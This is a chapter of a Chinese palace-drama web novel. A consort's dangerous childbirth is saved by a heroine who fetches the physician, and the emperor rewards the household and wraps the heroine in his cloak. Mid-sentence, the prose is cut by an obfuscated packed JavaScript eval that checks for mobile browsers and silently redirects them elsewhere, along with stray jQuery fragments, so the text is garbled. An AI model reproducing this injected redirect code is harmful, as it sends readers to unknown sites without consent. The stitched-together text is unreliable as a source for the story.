54. 御赐大氅

作品:《娘娘要上位

    “瑞雪姑姑!”沈怀瑾顾不上辩解,膝盖一软便跪了下去,“陆常在命悬一线,求姑姑开恩!只要尚药令能去,沈怀瑾任凭处置!”


    她说着,重重地叩首下去,额头磕在湿漉漉的青石板上,发出沉闷的声响。


    瑞雪姑姑沉默片刻,她深知若非天大的事,一个小小的答应绝不敢如此。略一权衡,她对身后冷声吩咐。


    片刻之后,陈太医被两个小太监半架半拖匆匆忙忙地带了出来,药箱在肩上晃荡,发髻都散了一半。


    他刚迈出殿门,还没来得及问发生了何事,便被沈怀瑾一把抓住胳膊。她也顾不上什么礼数尊卑了,架着陈太医便往外冲,脚步踉跄却飞快,一路在风雨中狂奔。


    陈太医被她拽得踉踉跄跄,气喘吁吁地问:“到……到底怎么回事?”


    “逆产!血崩!”沈怀瑾头也不回,嘶声喊道,“再迟就来不及了!”


    雨水混着泥血模糊了她的视线,她拖着冻僵的双腿踉跄着引路,频频回头厉喝:”快!再快些!”


    一路押着陈太医,在风雨中狂奔。


    冲回撷芳殿西殿时,浓重的血腥味扑面而来。


    陆若霜躺在榻上,脸色白得像一张纸,毫无血色,嘴唇青紫,气息微弱得几乎感觉不到。整个人像是一盏油尽灯枯的残烛,随时都会熄灭。


    “热水!参片!快!”陈太医一把推开呆滞的产婆,砰地掀开药箱,神色凝重至极。


    沈怀瑾僵在原地,眼睁睁看着金针刺入若霜姐姐的身体,看着参片被小心翼翼地塞入那苍白的唇间。


    她空有一身力气,此刻却不知该往哪里使;她恨不得能替陆若霜承受这所有的痛苦,却只能像个局外人一样看着。


    时间仿佛被黏稠的血液拖住了脚步,每一瞬都漫长如年。陈太医汗如雨下,喝令稳婆调整胎位,手下银针药粉齐施,拼尽全力阻止血崩。


    殿内死寂,只有陈太医急促的喘息声和陆若霜微弱的呻吟。


    陆若霜姐姐,你要撑住……


    撑住啊……


    就在她几乎绝望的时候,一声微弱却清亮的啼哭,骤然响起!


    “皇子!是皇子!”产婆的哭腔几乎是嘶喊出来的,“常在娘娘稳住了!母子平安!”


    沈怀瑾浑身的力气像是被抽空了一般,脱力地滑坐在门边。泥水和血水淌了一地,她颤抖的手死死按住心口那只浸满血水的小黄雀荷包,无声地哭了出来。


    活了……


    陆若霜姐姐活了……


    *


    “陆常在平安诞下十皇子!”消息如同长了翅膀一般,飞传整个后宫。


    “皇上驾到——!”通传声骤然响起,满殿人顿时屏息跪伏。


    萧景焕挟着清晨的寒风踏入殿中。一股浓郁的血腥气扑面而来,混杂着药草的苦涩与未散尽的恐慌。地上还残留着昨夜来不及清理的血迹,空气中仿佛仍凝滞着那场生死搏斗的余韵。


    他眉头皱了皱,却并未停下脚步,径直走向金丝楠木摇篮。他俯身凝视着那个红皱皱的婴孩,眉宇间的冷峻渐渐化开,取而代之的是一种柔和。


    “陛下,十皇子吉兆天成!”老嬷嬷颤声提醒,“昨夜雷雨交加之际降生,正应了那句‘龙腾四海,泽被苍生''……”


    萧景焕凝视片刻。他伸出双手,小心翼翼地抱起襁褓。


    “上承天命,下安社稷!”萧景焕目光落在怀中婴儿的脸上,“朕之十子——赐名祁昀!”


    他顿了顿,声音里带着几分温情:“昀者,日光也。愿他如朝日初升,光耀万里河山。”


    话音刚落,怀中婴儿砸吧了一下小嘴,仿佛是在回应父皇的期许。


    萧景焕轻轻将婴儿放回摇篮,指尖拂过那嫩生生的额头,眼底掠过一丝柔软,方才转身走向床榻。


    陆若霜躺在榻上,脸色仍有些苍白,却已不复昨夜的死灰之色。见他走近,她挣扎着想要起身行礼,却被他伸手按住。


    “躺着。”他的声音低了几分,“昨夜凶险,往后要好生将养。”


    陆若霜眼眶微红,轻声道:“让陛下担忧了……”


    萧景焕执起她的手,拍了拍她的手背:“辛苦你了。祁昀这眉眼轮廓,承袭了你,生得很好。”


    陆若霜苍白的面颊顿时染上一层淡淡的霞光,眼波流转,盈盈望着他:“能为陛下诞下皇嗣,是臣妾的福分……”


    他微微颔首,淡声吩咐:“陆氏温良毓秀,诞育皇嗣,功在宗祧!着即日起晋封贵人,另赐延年如意金锁一柄、东海夜明珠一颗、蜀锦十匹!”


    语毕,他的目光转向跪在一旁的陈太医与稳婆。“尚药令陈寅,临危受命,医术精湛,保住皇嗣与陆贵人,赏黄金十两。稳婆尽心尽力,赏白银二十两。”


    “谢陛下隆恩!”狂喜的呼声震动殿宇,碧萝和一众宫女喜极而泣,跪伏在地连连叩首。


    在无人注意的角落,沈怀瑾背靠着冰冷的墙壁,身体因脱力和寒冷微微发抖。她看着皇帝给予陆若霜的荣光,赏赐医者的恩典,心中只有一片滚烫的欣慰与绵长的后怕。赏赐有无她的一份,她根本未曾想过。


    萧景焕又对陆若霜嘱咐了几句好生将养的话,便准备起驾。然而刚走到殿门口,他的脚步忽然顿住了。


    视线的余光里,一道与满殿喜庆格格不入的身影撞入眼帘。沈怀瑾浑身湿透的衣服紧贴着单薄的身躯,泥浆、血污和雨水在那浅色衣料上染出斑驳狰狞的痕迹。


    她发髻完全散了,凌乱的青丝黏在毫无血色的脸颊和脖颈上。她就那么抱着膝盖坐在那里,像一株被暴雨彻底打碎的花,只剩最后一点本能还在瑟缩。


    只那一眼,昨夜发生了什么,萧景焕便全明白了。他看着她,眼底闪过一丝心疼。没有半分迟疑,他当众转过身,在满殿凝固的注视中,径直朝那个角落走去。


    沈怀瑾正低着头出神,玄色织金的龙纹靴忽然停在她面前。她茫然地抬起头,视线模糊,只看到一片晃动的玄色和一道逆光的高大身影。她迟钝地想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867995|187123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要起身行礼,腿却软得不听使唤。


    一只温热有力的手伸到了她面前。


    她怔住,不敢动作。


    萧景焕俯身,直接握住了她冰冷肮脏、还带着擦伤的手臂,稍一用力,将她稳稳拉了起来。他的目光在她沾满泥污、狼狈不堪的脸上停留片刻。


    “还是这么……”他声音很低,几乎是叹息,“……不要命。”


    随即,他抬手,解下了自己肩上那件绣着暗金龙纹的玄色大氅,手腕一展,便裹住了她湿透发抖的身子。


    厚重的织物带着他残余的体温和一股清冽沉稳的龙涎香气,瞬间将她密不透风地包裹,隔绝了外界的寒冷与窥视。


    “回去换身干净衣裳,好好歇着。”他沉声吩咐,然后转向身后一脸惊疑不定的内侍总管郑德,“传太医过去,仔细看看,可有受伤受寒。”


    “奴才遵旨!”郑德连忙躬身应下。


    萧景焕不再多言,最后看了一眼被裹在宽大氅衣里、只露出一张苍白小脸的沈怀瑾,转身大步离去。


    殿内一片诡异的寂静,所有目光都聚焦在沈怀瑾,以及她身上那件过分刺眼的帝王大氅上。


    沈怀瑾僵在原地,包裹周身的暖意仿佛有千斤重。萧景焕的气息无处不在,宣告着一个她无法理解、也不敢深思的事实。


    *


    沈怀瑾抱着那件犹带帝王体温与气息的玄色大氅,深一脚浅一脚地回到撷芳殿东殿时,东方已泛起了鱼肚白。


    她浑身湿冷,泥污与血渍板结在单薄的衣衫上,散发着一股难以言喻的狼狈气味。她一刻也不敢耽搁,赶紧沐浴更衣,吩咐静棠将那件惹眼的大氅送回乾清宫,便硬撑着发软的双腿,赶往凤仪宫晨省。晨昏定省是后宫的规矩,便是累了一夜,也不能缺。


    更何况……


    沈怀瑾心里清楚,昨夜她夜闯凤仪宫、砸门惊驾,这笔账皇后娘娘迟早要跟她算的。与其躲着,不如早些去领罚。


    踏入凤仪宫正殿,妃嫔们低声交谈间,话题都绕着昨夜接连降生的两位皇子,沈怀瑾这才知道庄妃娘娘也于前半夜率先陆若霜平安诞下了九皇子。


    皇后端坐凤座,华服璀璨,面上满是雍容笑意,正温言嘉许,厚赐两位有功的妃嫔。众嫔妃纷纷道贺,殿内一片喜气洋洋。


    沈怀瑾她站在人群末尾,浑身还有些发软。昨夜那一场生死搏命,此刻想起来仍觉得后怕。


    好在,若霜姐姐母子平安。这就够了。至于皇后娘娘要怎么罚她……


    罚就罚吧。大不了跪上几个时辰,或者挨几板子。她皮糙肉厚,扛得住。


    可话虽这么想,当皇后的目光扫过来时,她的心还是不争气地抖了一下。


    那目光在她身上停了一瞬,带着几分审视,几分阴沉。


    “沈答应留下。”


    果然。


    众嫔妃陆续散去,殿内很快只剩下她一人。


    沈怀瑾不敢耽搁,扑通一声跪了下去,膝盖撞在金砖上,闷响一声。